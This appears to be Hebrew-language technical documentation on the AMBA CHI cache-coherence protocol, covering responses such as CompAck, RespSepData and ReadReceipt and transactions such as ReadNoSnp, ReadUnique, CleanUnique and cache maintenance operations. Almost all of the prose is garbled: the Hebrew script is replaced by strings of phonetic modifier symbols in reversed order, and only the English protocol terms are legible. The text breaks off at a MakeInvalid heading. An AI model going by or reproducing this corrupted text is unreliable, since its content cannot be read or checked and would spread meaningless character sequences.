ˢ ˧ˡ˧ ˪˰ ˢ˵˲ˮˣˢ˷ ˸˧˶ˣ˵ˬˢ ˸˧˦ˮ˶ˢˣ˵ˢ ˢ˧˴˵ˤˮ˶˦ˢ˷ ˶˥˞˪-RN-F ˢ ,˸ˬ˪˷ˣˬ-RN-F  ˥˪ˣ˷CompAck 

-˪HN-Fˢ ,˸˞ˤ ˸ˣ˟˵˰˟ .-HN-F ˢ ˸ˣ˪ˣ˰˲ ˸˞ ˶˶˥˷ˬ-snoop .ˢ˧˴˵ˤˮ˶˦ ˢ˸ˣ˞ ˸ˬ˪˷ˢ˪ ˣ˩˧˥˷ 

 ˧ˮˣˮˠˮˬ ˪˷ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˸˞ ˶˧˩ˤˬ ˢˤ ˭ˣˮˠˮˬRACK/WACK  ˪ˣ˵ˣ˦ˣ˶˲˟ACE˶ˡ˯ ˪˰ ˫˧˶ˬˣ˷ ˫ˢ˟ , 

.˶ˣ˷˧˞ ˧ˮˣˮˠˮˬ ˸ˣ˰˴ˬ˞˟ ˸ˣ˧˴˵ˤˮ˶˦ 

 ˢ˞˧˶˵ ˸˧˧˴˵ˤˮ˶˦˟ ˫˧ˡ˶˲ˮ ˫˧ˮˣ˸ˮˣ ˢ˟ˣˠ˸ 

 .ˣ˞˶˵ˮ˷ ˫˧ˮˣ˸ˮˢ ˶ˣ˟˰ˣ ˢ˞˧˶˵ˢ ˸ˬ˪˷ˢ ˶ˣ˟˰ ˸ˣˡ˶˲ˮ ˸ˣ˟ˣˠ˸ ˪˟˵˪ ˸ˣ˶˷˲˞ ˢˮ˷˧ ,ˢ˞˧˶˵ ˸˧˧˴˵ˤˮ˶˦˟

:˸ˣ˷ˡ˥ ˸ˣ˰ˡˣˢ ˧˸˷ ˣ˲˯ˣˮ ,ˢˤ ˭ˣˮˠˮˬ˟ ˨ˣˬ˸˪ ˧ˡ˩ 

¶  ˸˰ˡˣˢRespSepData ,˶˷˞ ˢ .˶ˣˡ˧˯ˢ ˸ˡˣ˵ˮ˪ ˢ˰˧ˠˢ ˢ˞˧˶˵ˢ˷ ˸ˮˬ˯ˬ-Home ˪ ˣˤ ˢ˰ˡˣˢ ˥˪ˣ˷-

Requester˟ ˢ˞˧˶˵ˢ ˸˷˵˟ ˪˷ ˫˧˧˥ˢ ˨˷ˬ ,ˣˤ ˢ˰ˡˣˢ ˸ˣ˰˴ˬ˞˟ .-Home ˢ˷ ˪˪ˠ˟ ,˶˴˵˸ˬ-

Requester ˢ ˸˟ˣˠ˸ ˸˞ ˡ˧ˬ ˥ˣ˪˷˪ ˪ˣ˩˧-CompAck .˸˶ˡˣ˯ˬ ˢˮ˧˞˷ ˢ˞˧˶˵ ˸˪˟˵ ˶˥˞˪ 

¶  ˸˰ˡˣˢDataSepResp ,ˢ˸˶˦ˬ˷ ,ˡ˟˪˟ ˫˧ˮˣ˸ˮ˪ ˸˯˥˧˧˸ˬ ˣˤ ˢ˰ˡˣˢ .ˢ˞˧˶˵ˢ ˧ˮˣ˸ˮ ˸˞ ˥ˣ˪˷˪ ˢ

ˢ ˧ˡ˧ ˪˰ ˥˪˷˧ˢ˪ ˢ˪ˣ˩˧-Home  ˧ˡ˧ ˪˰ ˣ˞Subordinate ˭ˣˮˠˮˬ˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˫˞ ˫˞˸ˢ˟ ,DMT. 

 ˪˷ ˶ˡ˯ˢ ˸ˣ˰ˬ˷ˬRespSepData x-DataSepResp  

ˢ ˶˷˞˩-Requester ˢ ˸˰ˡˣˢ ˸˞ ˪˟˵ˬ-DataSepResp ˢ ˧ˮ˲˪) ˭ˣ˷˞˶-RespSepData ˯˥˧˧˸ˢ˪ ˭˸˧ˮ ,(

 ˸˞ ˸ˣˮ˷˪ ˸ˣ˪ˣ˩˧˷ ˸ˣ˪ˣ˰˲ ˶˸ˣ˧ ˭˧˞˷ ˞˧ˢ ,˨˩˪ ˢ˟˧˯ˢ .˸˧˪˟ˣ˪ˠ ˢ˸˲˴ˮ˷ ˣˤ˩˩ ˢ˞˧˶˵ˢ ˸˧˧˴˵ˤˮ˶˦˪

˧ˮˣ˸ˮˢ ˸˟ˣˠ˸ ˢ˪˟˵˸ˢ˷ ˰ˠ˶ˬ ,˶ˬˣ˪˩ .ˢ˞˧˶˵ˢ ˸˶ˠ˯ˬ˟ ˣ˪˟˵˸ˢ ˶˟˩˷ ˫DataSepResp ˫˧ˮˣ˸ˮˢ ,

.˶˯ˬˮ˷ ˰ˡ˧ˬ˟ ˧ˣˮ˧˷˪ ˭ˣ˩˧˯ ˡˣ˰ ˭˧˞ˣ ˫˧˧˲ˣ˯ ˫ˢ ˣ˞˶˵ˮ˷ 
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ˢ ˶˷˞˩-Requester  ˸˟ˣˠ˸ ˪˟˵ˬRespSepData ˢˬ-Home ˸˧˦ˮˣˣ˪˶ˢ ˢ˷˵˟ˢ˷ ˨˩ ˪˰ ˡ˧˰ˬ ˶˟ˡˢ ,

˟ ˢ˶ˡˣ˯ ˢ˧˴˵ˤˮ˶˦˪-Homeˢ ,ˢˤ ˰ˠ˶ˬ .-Requester  ˸˷˵˟ ˫ˣ˷ ˪˟˵˧ ˞˪Snoop  ˸ˣ˧˴˵ˤˮ˶˦ ˶ˣ˟˰

ˢ ˸˟ˣˠ˸ ˧ˮ˲˪ ˣ˥˪˷ˮ˷-RespSepDataˢ˷ ˧ˮ˲˪ .-Home ˢ ˸˟ˣˠ˸ ˸˞ ˥˪ˣ˷-RespSepData ˪-Requester ,

 ˸ˣ˷˵˟ ˭˧˞˷ ˞ˡˣˣ˪ ˣ˧˪˰Snoop  ˣ˸ˣ˞˪ ˸ˣ˪˧˰˲Requester  ˭˧˧˴˪ ˟ˣ˷˥ ,˸˞ˤ ˫˰ .˸˧˲˧˴˲˯ ˸˟ˣ˸˩ ˢ˸ˣ˞˪ˣ

 ˸˪˟˵˷RespSepData ˢ˷ ˥˧˦˟ˬ ˞˪-Home ˪˷ˢˢ ˸ˣ˪ˣ˰˲ ˪˩ ˸˞ ˫˧-snooping  ˪ˣˬ ˸ˣ˷˶ˡˮˢnode- ˫˧

ˢ ˧˟ˠ˪ ˵˶ ˞˪˞ ,˸˩˶˰ˬ˟ ˫˧˶˥˞-Requester .˧˥˩ˣˮˢ 

 ˸ˣ˧˴˵ˤˮ˶˦ ˶ˣˡ˧˯ 

 ˸˟ˣˠ˸˟ ˷ˣˬ˧˷˪ ˶˟˰ˬComp ˢ ˧ˡ˧ ˪˰ ˸ˣ˥˪˷ˮ˷ ˸ˣ˷˵˟ ˪˷ ˶ˡ˯ˢ ˪˰ ˢ˶˧ˬ˷ ˨˶ˣ˴˪-Requester ˟ ,-

AMBA CHI ˢ ˭˧˟ ˸ˣ˷˵˟ ˪˷ ˶ˣˡ˧˯ ˫˧˥˧˦˟ˬ˷ ˫˧˲˯ˣˮ ˫˧ˮˣˮˠˮˬ ˷˧-Requester ˪-Homeˢ ˢˡ˷ ˣˬ˩ ,-

Order ,ˢˢ˷ ˶ˣ˷˧˞ ˸˪˟˵ ˨˶ˣ˴˪ ˷ˬ˷ˬ-Requester .ˢ˥˪˴ˢ˟ ˪˟˵˸ˢ 

ˢ ˭˧˟ ˶ˡ˯ˢ-Requester ˪-node- ˢˡ˷ ˧ˡ˧ ˪˰ ˨ˬ˸ˮ ˫˧ˮˣ˷ˢ ˫˧Order .˸˥˪˷ˮˢ ˢ˷˵˟ ˪˩˟ ˰˧˲ˣˬ˷ 

 ˢ˞˧˶˵ ˸ˣ˧˴˵ˤˮ˶˦ 

 ˢ˞˧˶˵ ˸ˣ˧˴˵ˤˮ˶˦ ˸ˬ˪˷ˢ˪ ˸ˣ˟ˣˠ˸ 

 ˸ˣ˧˴˵ˤˮ˶˦ˢ ˸ˬ˪˷ˢ˪ ˸ˣ˟ˣˠ˸ˢCompData x-DataSepResp  ˫˷˟ ˢˡ˷ ˸ˣ˪˪ˣ˩Resp ˭ˣ˧˴˪ ˷ˬ˷ˬ ˶˷˞ ,

:˫˧˞˟ˢ ˫˧˦˶˲ˢ 

ˢˡ˷ Cache state  

ˢ ˟˴ˬ ˸˞ ˭˧˧˴ˬ ˢˡ˷ˢ-cache line ˟ ˧˲ˣ˯ˢ-Requester  ˦˰ˬ˪ ,˸ˣ˞˧˶˵ˢ ˧ˠˣ˯ ˪˩ ˶ˣ˟˰ReadNoSnp x-

ReadOnce.˶ˣ˴˧˵˟ ˟˴ˬˢ ˫˷ ˪˷ ˸˲˯ˣ˸ ˸ˣ˰˴ˬ˞˟ ˢ˟ˣˠ˸˟ ˫˷˟ ˭˧˧ˣ˴ˬ ˢˡ˷ˢ . 

 ˢ˟ˣˠ˸ˢ ,ˢˬˠˣˡ˪CompData_UC ˢ˷ ˸˶˞˸ˬ-Requester  ˟˴ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˨˧˶˴ ˢ˟ˣˠ˸ˢ ˸˞ ˪˟˧˵˷

ˢ ˪˷-cache line ˪ ˣ˪˷-Unique Clean. 

ˢˡ˷ Pass Dirty  

ˢ ˪˞ ˸˶˟ˣ˰ ˭ˣ˶˩˧ˤˢ ˸˞ ˭˩ˡ˰˪ ˸ˣ˧˶˥˞ˢ ˫˞ˢ ˭˧˧˴ˬ ˢˡ˷ˢ-Requester ˢˡ˷ˢ ˫˞ .Pass Dirty  ,˪˰˲ˣˬ

ˢ˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ-Requester  ˫˧˧˥˩ˣˮˢ ˫˧ˮˣ˸ˮˢ˷ ˢ˶˵ˬ˟ ˭ˣ˶˩˧ˤˢ ˭ˣ˩ˡ˰ ˪˰ ˸ˣ˧˶˥˞ ˪˟˵ˬ ,˫˧˩˪˩ˣ˪ˬ

 ˸ˬˣ˧˯ˢ ˸ˣ˰˴ˬ˞˟ ˢ˟ˣˠ˸ˢ ˫˷˟ ˭˧ˣ˴ˬ ˢˤ ˟˴ˬˣPD. 

 ˢ˟ˣˠ˸ˢ ,ˢˬˠˣˡ˪CompData_UD_PD ˢ˷ ˸˶˞˸ˬ-Requester  ˸˞ ˫ˠ ˪˟˧˵ ,ˢ˟ˣˠ˸ˢ ˸˞ ˪˟˧˵˷

ˢ ˪˷ ˨˶˰ˢ ˸˞ ˟ˣ˸˩˪ ˸ˣ˧˶˥˞ˢ-cache line  ˢˤ ˸˞ ˢ˷˰˧ ˶˥˞ ˣˢ˷˧ˬ˷ ˠˣ˞ˡ˪ ˣ˞) ˧˷˞˶ˢ ˭ˣ˶˩˧ˤ˪

 ˢˡ˷ˢ ˫˰ ˟ˣ˪˧˷˟ .(ˡ˧˸˰˟Cache stateˢ ,-Requester ˢ ˪˷ ˟˴ˬˢ ˸˞ ˶˧˟˰ˢ˪ ˨˧˶˴-cache line ˪ ˣ˪˷-

Unique Dirty. 
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˸˟ˣˠ˸ˣ ˶ˣˡ˧˯ ReadReceipt  

 ˠˣ˯ˬ ˢ˰ˡˣˢˢReadReceipt  ˢ˷˵˟ˢ˷ ˶˥˞˪ ˢ˞˟ˢ ˢ˷˵˟ˢ ˸˞ ˵˧˲ˮˢ˪ ˢ˪ˣ˩˧ ˸˩˶˰ˬˢ˷ ˸ˮˬ˯ˬ

.˧ˣ˞˶˩ ˢ˪˟˵˸ˢˣ ˢ˶ˡˣ˯ ˸ˬˡˣ˵ˢ 

ˢ ˶˷˞˩-subordinate  ˸˟ˣˠ˸ ˥˪ˣ˷ReadReceipt ˸ˣ˷˵˟ˢ ˸˞ ˪˟˧˵ ˣ˟˷ ˶ˡ˯ˢ ˪˰ ˶ˣˬ˷˪ ˟˧˧˥˸ˬ ˞ˣˢ ,

 ˪˰ ˶ˣˬ˷˪ ˧ˡ˩ ,ˣ˰˧ˠˢ ˣ˟˷ ˶ˡ˯ˢ ˧˲˪ ˣ˰˴ˣ˟˧ˣ ˣ˪˲ˣ˦˧ ˸ˣ˷˵˟ˢ˷ ˥˧˦˟ˬ ˞ˣˢ ,˶ˬˣ˪˩ .˸ˣˮˣ˷ˢ ˸ˣ˧˟˵˰

.˸˩˶˰ˬ˟ ˸ˣ˧˴˵ˤˮ˶˦ˢ ˪˷ ˢˮˣ˩ˮ ˸ˣ˪ˢˮ˸ˢˣ 

.˶ˡˠˣˢ˷ ˸ˣ˷˵˟ˢ ˶ˡ˯ ˧˲˪ ˪˲ˣ˦˸ˣ ˢ˪˟˵˸ˢ ˢ˷˵˟ˢ˷ ˥˧˦˟ˢ˪ ˞˧ˢ ˢ˰ˡˣˢˢ ˸˶˦ˬ 

 ˸˰ˡˣˢReadReceipt  ˸ˣ˶˥˞ ˸ˣ˷˵˟˪ ˢ˞ˣˣ˷ˢ˟ ˶ˡ˯ ˪˰ ˢ˶˧ˬ˷ ˸˟˧˧˥ˬˢ ˢ˷˵˟ ˢˮ˷˧ ˶˷˞˩ ˸˥˪˷ˮ

 ˣ˸ˣ˞ˬRequester. 

ReadNoSnp  

-sReadNoSnp  ˧ˡ˧ ˪˰ ˸˧˷˰ˮ˷ ˢ˞˧˶˵ ˸˷˵˟ ˞˧ˢRequester  ˣˮ˧˞˷ ˸˟ˣ˸˩ ˶ˣˤ˞ ˶ˣ˟˰snoopable ˣ˞ ,

ˬ ˥˪˷˧ˢ˪ ˢ˪ˣ˩˧ ˣˤ ˢ˷˵˟˷-Home ) ˫˧˟ˣ˸˩ˢ ˫˧ˮˣ˸ˮˢ ˪˷ ˵˸ˣ˰ ˪˟˵˪ ˧ˡ˩ ˸˟ˣ˸˩ ˶ˣˤ˞ ˪˩˪addressed 

data.( 

 ˸˧˧˴˵ˤˮ˶˦˟ReadNoSnp) ˢ˞˴˵ˢ ˸˰˴˟ˬ ˢˮ˧˞˷ ˢ˞˧˶˵˟ ˶˟ˣˡˬ ,Non-allocating ˫˧ˮˣ˸ˮˢ .(

˟ ˶ˬ˷˧ˢ˪ ˫˧˧ˣ˲˴ ˞˪ ˢ˞˧˶˵ˢˬ ˢ˞˴ˣ˸˩ ˫˧˪˟˵˸ˬ˷-cache ˢ˶ˣ˴˟ ˫˧˶ˬ˷ˮ ˞˪ ˫ˢ ,˫˧˶ˬ˷ˮ ˭˩ ˫ˢ ˫˞ˣ ,

.˸˩˶˰ˬˢ ˶˞˷ ˫˰ ˸˧˦ˮ˶ˢˣ˵ 

˪ ˰˧ˡˣˢ˪ ˨˶ˣ˴ ˭˧˞ ,˱˯ˣˮ˟-Home ˣ˴ ˭˧˞ ,˶ˬˣ˪˩ .ˢ˧˴˵ˤˮ˶˦ˢ ˸ˬ˪˷ˢ ˪˰ ˸˟ˣˠ˸ ˥ˣ˪˷˪ ˨˶CompAck ˪-

Home .ˢˬ˪˷ˣˢ ˢ˷˵˟ˢ˷ ˭ˬ˯˪ ˧ˡ˩ 

¶  ˸˧˧˴˵ˤˮ˶˦˟ ˫˧˷ˬ˸˷ˬ ˶˷˞˩ReadNoSnp ˬ-Home ˪-Subordinate ˪˰ ,Home  ˸˰ˡˣˢ ˪˟˵˪

ReadReceipt ˢˬ-Subordinate  ˸˟ˣˠ˸˪ ˸ˣ˩˥˪ ˣ˞CompAck ˢˬ-Requester ˢˮ˟ˬ˪ ˫˞˸ˢ˟ ,

.ˢ˧˴˵ˤˮ˶˦ˢ 

ˢ ˪˰-Requester ˢ ˟˴ˬˬ ˫˪˰˸ˢ˪-cache ˣˠ˸˟ ˸˟CompData  ˣ˞DataSepResp ˪-ReadNoSnp  ˥˧ˮˢ˪ˣ

ˢ ˟˴ˬ˷ ˤˬˣ˶ˬ ˭˲ˣ˞˟-cache  ˞ˣˢInvalid. 

ReadNoSnpSep  

-sReadNoSnpSep ˬ ˸˥˪˷ˮˢ ˢ˞˧˶˵ ˸˷˵˟ ˞˧ˢ-Home ˪-Subordinate˪ ˸ˡ˰ˣ˧ˬ ˣˤ ˢ˷˵˟ˣ ,-

completer .ˢ˧˴˵ˤˮ˶˦ˢ ˸ˬ˪˷ˢ˪ ˢ˟ˣˠ˸˟ ˨˶ˣ˴ ˞˪˪ ,˫˧ˮˣ˸ˮˢ ˸˟ˣˠ˸ ˸˞ ˵˶ ˥ˣ˪˷˪ 

 ˸ˣ˥˪˷ˮ ˫˧˞˶˵ˮˢ ˫˧ˮˣ˸ˮˢˣ ˢ˞˧˶˵ˢ ˸ˬ˪˷ˢ ˶ˣ˟˰ ˸ˣ˟ˣˠ˸ˢ ˶˷˞˩ ˷ˬ˷ˬ ˢ˧˴˵ˤˮ˶˦ ˪˷ ˢˤ ˠˣ˯

 ˫˧ˡ˶˲ˮ ˫˧˟˪˷ ˧ˮ˷˟ ˫˪˷ˣˬ ˢ˞˧˶˵ˢ ˨˧˪ˢ˸ ,˶ˬˣ˪˩.ˡ˶˲ˮ˟ï  ˶ˣ˟˰ ˱˯ˣˮ ˟˪˷ˣ ˢˬ˪˷ˢˢ ˶ˣ˟˰ ˡ˥˞ ˟˪˷

.˫˧ˮˣ˸ˮˢ ˸˥˧˪˷ 
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˶˷˞˩ ˟ ˫˧˷ˬ˸˷ˬ-ReadNoSnpSep ˬ-Home ˪-Subordinateˢ ˪˰ ,-Home  ˸˰ˡˣˢ ˪˟˵˪ReadReceipt 

ˢˬ-Subordinate. 

ReadClean  

-sReadClean  ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˞˧˶˵ ˸˷˵˟ ˞˧ˢsnoopable  ˪˷ ˧˵ˮ ˵˸ˣ˰ ˪˟˵˪ ˢ˶˦ˬ˟cache line .

ˢ ˶˷˞˩ ˷ˣˬ˧˷˪ ˸ˡ˰ˣ˧ˬ ˣˤ ˢ˷˵˟-Requester ˪ ˢ˶ˣ˷ˢ ˸˞ ˢ˴˵ˬ-cache  ˸ˣ˶ˣ˷˟ ˨ˬˣ˸ ˣˮ˧˞˷

ˢ ˣˬ˩ ,˸ˣ˩˪˩ˣ˪ˬ-Instruction cache ˢ ˫˞ ˰ˡ˧ˬ ˵˶ ˶ˬˣ˷ ˞ˣˢ ˟ˣ˶˪)-cache line  ˞˧ˢvalid  ˣ˞invalid .(

 ˧˟˴ˬ˟ ˸ˣ˧ˢ˪ ˫˧˪˟˵˸ˬ˷ ˫˧ˮˣ˸ˮˢ ˪˰ ,ˢˤ ˟˴ˬ˟UC  ˣ˞SC .ˡ˟˪˟ 

 ˢˡ˷ˢ ˸˞ ˸˟˧˧˥ˬ ˢ˧˴˵ˤˮ˶˦ˢExpCompAck  ˥ˣ˪˷˪ ˸˟˧˧˥ˬ ˶ˬˣ˪˩) ˵ˣ˪ˡ ˸ˣ˧ˢ˪CompAck  ˱ˣ˯˟

.(ˢ˧˴˵ˤˮ˶˦ˢ 

ReadShared  

-sReadShared  ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˞˧˶˵ ˸˷˵˟ ˞˧ˢsnoopable ˸˪ˣ˰˲ ˰ˣ˴˧˟˪ ˸˷ˬ˷ˬˣ ,load  ˪˷cache 

line˪ ˸˶˷˲˞ˬ ˢ˷˵˟ˢ .-Requester  ˪˷ ˵˸ˣ˰ ˪˟˵˪cache line  ˧˟˴ˬ˟ ,ˡ˟˪˟ ˢ˞˧˶˵ ˨˶ˣ˴˪UC, UD, 

SC  ˣ˞SD. 

˪ ˫ˢ˟˷ ˫˧˶˵ˬ˟-Requester  ˟˴ˬ˟ ˫˧ˮˣ˸ˮ ˪˟˵˪ ˸ˣ˶˷˲˞ ˷˧SD˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ,-ReadShared  ˫ˣ˵ˬ˟

-˟ReadNotSharedDirty˫˧ˮˣ˸ˮ ˸˪˟˵˟ ˢ˩˧ˬ˸ ˭˧˞ ˫ˢ˟ ˫˧˶˵ˬ˪ ˸ˡ˰ˣ˧ˬ˷ ,  ˟˴ˬ˟SD. 

ReadUnique  

-sReadUnique  ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˞˧˶˵ ˸˷˵˟ ˞˧ˢsnoopable ˰ˣ˴˧˟˪ ˸˷ˬ˷ˬˣ ,store ˪-cache line .

˪ ˭˸ˮ˧˸ ˪˟˵˸˸˷ ˢ˶ˣ˷ˢ-Requester  ˫˧˟˴ˬ˟ ˵˶UC  ˣ˞UD. 

 ˢˡ˷ˢ ˸˞ ˸˟˧˧˥ˬ ˢ˧˴˵ˤˮ˶˦ˢExpCompAck  ˥ˣ˪˷˪ ˸˟˧˧˥ˬ ˶ˬˣ˪˩) ˵ˣ˪ˡ ˸ˣ˧ˢ˪CompAck  ˱ˣ˯˟

.(ˢ˧˴˵ˤˮ˶˦ˢ 

MakeReadUnique  

-sMakeReadUnique  ˸˟ˣ˸˩ ˶ˣˤ˞˪ ˢ˞˧˶˵ ˸˷˵˟ ˞˧ˢsnoopable˪˟˵˪ ˢ˸˶˦ˬ˷ ,  ˪˷ ˧ˡˣ˥˧˧ ˵˸ˣ˰

cache line˪ ˶˷˞˩ ˸˧ˮ˧˧˲ˣ˞ ˣˤ ˢ˷˵˟ .-Requester  ˪˷ ˱˸ˣ˷ˬ ˵˸ˣ˰ ˷˧cache line ˪˟˵˪ ˭˧˧ˮˣ˰ˬ ˞ˣˢˣ ,

.˧ˡˣ˥˧˧ ˵˸ˣ˰˩ ˢ˶ˣ˷ˢ ˸˞ ˭˯˥˞˪ ˢ˞˷˶ˢ 

ˢ ˶˷˞˩-Requester  ˸˷˵˟ ˪˟˵ˬsnoop ˪ ˸ˬ˶ˣˠ˷-invalidate ,˫˧ˮˣ˸ˮˢ ˸˞ ˶ˣˬ˷˪ ˨˶ˣ˴ ˷˧ ˫˞ ,

˷ ˥˦˟ˣˬ-Requester ˧ ˵˸ˣ˰ ˪˟˵˧.ˢ˷˵˟ ˷ˡ˥ˬ ˞˧˴ˣˢ˪ ˨˶ˣ˴ˢ ˧˪˟ ˢ˶ˣ˷ˢ ˪˷ ˧ˡˣ˥˧ 

 ˢˡ˷ˢ ˸˞ ˸˟˧˧˥ˬ ˢ˧˴˵ˤˮ˶˦ˢExpCompAck  ˥ˣ˪˷˪ ˸˟˧˧˥ˬ ˶ˬˣ˪˩) ˵ˣ˪ˡ ˸ˣ˧ˢ˪CompAck  ˱ˣ˯˟

.(ˢ˧˴˵ˤˮ˶˦ˢ 
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 ˸ˣ˧˴˵ˤˮ˶˦Dataless  

 ˧˸ˬ˴Requester  ˸ˣ˧˴˵ˤˮ˶˦˟ ˫˧˷ˬ˸˷ˬDataless ˪ ˫˧ˮˣ˸ˮ ˶˧˟˰ˢ˪ ˧˪˟ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˧ˡ˩-

Requester .ˣˮˬˬ ˣ˞ 

ˮ˶˦ ˸ˬ˪˷ˢ˪ ˸ˣ˟ˣˠ˸˸ˣ˧˴˵ˤ Dataless  

 ˸˟ˣˠ˸Comp  ˫˷˟ ˢˡ˷ ˸˪˪ˣ˩Resp ,:˫˧˞˟ˢ ˫˧˦˶˲ˢ ˸˞ ˭˧˧˴ˬ˷ 

Cache state  

 ˢˡ˷ˢResp  ˞˴ˬ˧ˢ˪ ˢ˪ˣ˩˧ ˣ˟˷ ˧˲ˣ˯ˢ ˟˴ˬˢ ˸˞ ˶˞˸ˬcache line ˢ ˪˴˞-Requester  ˰ˣ˴˧˟ ˶˥˞˪

 ˸˵ˣˤ˥˸ ˠˣ˯ˬ ˸ˣ˧˴˵ˤˮ˶˦ ˶ˣ˟˰ ˦˰ˬ˪ ,ˢ˧˴˵ˤˮ˶˦ˢcache˦ ˶ˣ˟˰ . ˸˵ˣˤ˥˸ ˸ˣ˧˴˵ˤˮ˶cache ˨˧˶˴ ,

 ˪˷ ˟˴ˬˢˣ ˢˡ˷ˢˬ ˫˪˰˸ˢ˪cache line .˧ˣˮ˧˷ ˞˪˪ ˶˞˷ˮ 

CleanUnique  

˪ ˶˷˲˞˪ ˢˡ˰ˣˮ ˣˤ ˢ˧˴˵ˤˮ˶˦-Requester ˢ ˟˴ˬ ˸˞ ˸ˣˮ˷˪-cache  ˟˴ˬ˪ ˣ˪˷Unique  ˸˟ˣ˸˩ ˶ˣ˟˰

ˣ˸ˮ˪ ˶˷˲˞ˬ ˢˤ .ˢˮ-Requester ˪ ˢ˟˧˸˩ ˰˴˟˪-cache line ˪ ˶˷˞˩ ˞ˣˢ ˳ˣ˲ˮˢ ˷˧˥˶˸ˢ .˸˶˟ˣˡˬˢ-

Requester ˢ ˪˷ ˱˸ˣ˷ˬ ˵˸ˣ˰ ˷˧-cache line˪ ˢˤˢ ˵˸ˣ˰ˢ ˸˞ ˨ˣ˲ˢ˪ ˢ˞˷˶ˢ ˷˵˟ˬ ˞ˣˢˣ ,-Unique 

 ˣ˸ˣ˞ ˪˷ ˨˪˩ˣ˪ˬ ˵˸ˣ˰ ˪˩ .ˣ˧˪˰ ˟ˣ˸˩˪ ˪˩ˣ˧˷ ˧ˡ˩cache line ˟-cache- ˣ˰˴˧˟˷ ˫˧snoop ˟˸˩˧˧ , ˢ˶ˤ˥˟

.˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˪˰ ˶ˣˬ˷˪ ˧ˡ˩ ˭ˣ˶˩˧ˤ˪ 

 ˢˡ˷ˢ ˸˞ ˸˟˧˧˥ˬ ˢ˧˴˵ˤˮ˶˦ˢExpCompAck  ˥ˣ˪˷˪ ˸˟˧˧˥ˬ ˶ˬˣ˪˩) ˵ˣ˪ˡ ˸ˣ˧ˢ˪CompAck  ˱ˣ˯˟

.(ˢ˧˴˵ˤˮ˶˦ˢ 

MakeUnique  

˪ ˸˶˷˲˞ˬ ˣˤ ˢ˧˴˵ˤˮ˶˦-Requester ˢ ˸˶ˣ˷ ˪˰ ˸ˣ˪˰˟ ˪˟˵˪-cache  ,˶ˬˣ˪˩ .˫˧ˮˣ˸ˮ ˸˟ˣˠ˸ ˷ˣ˶ˡ˪ ˧˪˟ˬ

ˢ ˭˩ˣ˸ ˸˶˟˰ˢ ˞˪˪-cache lineˢ ˶˷˞˩ ˸˰˴ˣ˟ˬ ˢ˧˴˵ˤˮ˶˦ˢ .-Requester ˢ ˭˩ˣ˸ ˪˩ ˸˞ ˟ˣ˸˩˪ ˭ˣˣ˩˸ˬ-

cache line˟ ˢ˶ˣ˷ˢ ˪˷ ˨˪˩ˣ˪ˬ ˵˸ˣ˰ ˪˩ .˫˧ˬ˧˧˵ ˫˧ˮˣ˸ˮ ˶˧˟˰ˢ˪ ˨˶ˣ˴ ˭˧˞ ˭˩˪ ,-cache- ˨ˣ˲ˢ˧ ˫˧˶˥˞ ˫˧

-˪invalid ˪˟ˬ.(ˣ˵˥ˬ˧ ˫˧˩˪˩ˣ˪ˬ ˫˧ˮˣ˸ˮ ˶ˬˣ˪˩) ˫˧ˮˣ˸ˮˢ ˸˞ ˶˧˟˰ˢ˪ ˧ 

 ˢˡ˷ˢ ˸˞ ˸˟˧˧˥ˬ ˢ˧˴˵ˤˮ˶˦ˢExpCompAck  ˥ˣ˪˷˪ ˸˟˧˧˥ˬ ˶ˬˣ˪˩) ˵ˣ˪ˡ ˸ˣ˧ˢ˪CompAck  ˱ˣ˯˟

.(ˢ˧˴˵ˤˮ˶˦ˢ 

˸ˣ˧˴˵ˤˮ˶˦ Dataless ˸˵ˣˤ˥˸˪ cache  

 ˸˵ˣˤ˥˸ ˸ˣ˪ˣ˰˲cache  ˫ˠ ˸ˣˮˣ˩ˬˢ)CMO - Cache Maintenance Operationsˮ˪ ˸ˣ˷ˬ˷ˬ ( ˢˮ˟ˬˢ ˪ˣˢ˧

ˢ ˪˷ ˟˴ˬˢˣ-cache-.˸˩˶˰ˬ˟ ˭ˣ˶˩˧ˤˢ ˸ˣ˧˟˵˰ ˪˰ ˶ˣˬ˷˪ ˸ˮˬ ˪˰ ,ˢˮ˩ˣ˸ ˸˶ˤ˰˟ ˫˧ 
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CleanShared  

 ˸˧˧˴˵ˤˮ˶˦˪ ˢ˟ˣˠ˸CleanShared ˢ ˧˵˸ˣ˰ ˪˩˷ ˢ˥˧˦˟ˬ-cache ˢ ˪˷-cache line  ˣˮ˸˷˧ ˸˧˦ˮˣˣ˪˶ˢ

 ˟˴ˬ˪clean˟ ˫˧˩˪˩ˣ˪ˬ ˫˧˵˸ˣ˰ ˷˧ ˫˞ .-cache- ˨˩ .˸ˣ˧˟˵˰ ˪˰ ˶ˣˬ˷˪ ˧ˡ˩ ˭ˣ˶˩˧ˤ˪ ˢ˶ˤ˥˟ ˣ˟˸˩˧˧ ˫ˢ ,˫˧

ˢ ˟˴ˬ˷ ˫˧˥˧˦˟ˬ-cache-.˭ˣ˶˩˧ˤˢ ˫˰ ˭˶˩ˮˣ˯ˬ ˫˧ 

CleanInvalid  

˪ ˢ˟ˣˠ˸ ˸˧˧˴˵ˤˮ˶˦CleanInvalid ˢ ˪˷ ˫˧ˮ˯˥ˣ˞ˬˢ ˫˧˵˸ˣ˰ˢ ˪˩˷ ˢ˥˧˦˟ˬ-cache line  ˣ˯ˮ˩˧˧ ˫˧ˣ˯ˬˢ

 ˟˴ˬ˪Invalid ˢ˶ˤ˥˟ ˟˸˩˧ˢ˪ ˣ˴˪ˣ˞˧ ˫˧˩˪˩ˣ˪ˬ ˫˧˵˸ˣ˰ ,˭˩ ˣˬ˩ .ˡˣ˰ ˫ˢ˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˢ˧ˢ˧ ˞˪ ˶ˬˣ˪˩ ,

.˫˧ˮˣ˸ˮ ˭ˡ˟ˣ˞ ˰ˣˮˬ˪ ˧ˡ˩ ˭ˣ˶˩˧ˤ˪ 

MakeInvalid  

